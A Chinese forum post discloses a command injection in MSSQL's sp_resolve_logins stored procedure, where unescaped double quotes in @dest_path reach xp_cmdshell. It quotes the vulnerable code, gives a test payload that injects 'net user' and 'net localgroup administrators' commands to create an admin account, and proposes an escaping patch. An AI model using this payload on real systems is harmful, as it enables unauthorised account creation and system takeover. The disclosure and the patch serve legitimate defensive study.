MSSQL自身存储过程的一个注入

ywsxr

此漏洞鸡肋之极，甚至没一点用处，不过重要的还是疯子锲而不舍的不断追求的这种精神。什么时候也能有空去读一些代码去。

我看到MSSQL的存储过程中，有模有样的在过滤。 然后我就去读读他们的存储过程。就找到了一个注入而已。
疯子如是说。
漏洞资料如下：

master..sp_resolve_logins存储过程中，对@dest_path参数过滤不严，导致xp_cmdshell注入。

分析：
SELECT @dest_path = RTRIM(LTRIM(@dest_path))

-- If the last char is '\', remove it.
IF substring(@dest_path, len(@dest_path),1) = '\'
SELECT @dest_path = substring(@dest_path, 1, len(@dest_path)-1)

-- Don't do validation if it is a UNC path due to security problem.
-- If the server is started as a service using local system account, we
-- don't have access to the UNC path.
IF substring(@dest_path, 1,2) <> '\\'
BEGIN
SELECT @command = 'dir "' + @dest_path + '"'
exec @retcode = master..xp_cmdshell @command, 'no_output'
IF @@error <> 0
RETURN (1)
IF @retcode <> 0
BEGIN
raiserror (14430, 16, -1, @dest_path)
RETURN (1)
END
END

master..sp_resolve_logins存储过程 在这一段，经过一定的判断，对 @dest_path 进行了一定的过滤。
但是没有过滤"（双引号）导致了 xp_cmdshell执行任意SQL语句

测试代码：
EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp'
执行上述MSSQL语句，成功添加了一个名为admina的系统帐号

但是此存储过程代码中经过判断，需要系统systemadmin权限的帐号。

疯子提供了一个给其打补丁的方法：
用函数fn_escapecmdshellsymbolsremovequotes把@dest_path过滤就OK了。如：
SELECT @dest_path = RTRIM(LTRIM(fn_escapecmdshellsymbolsremovequotes(@dest_path))) ，这样就不会产生注入了。

king5112

看不懂///为哦什么批//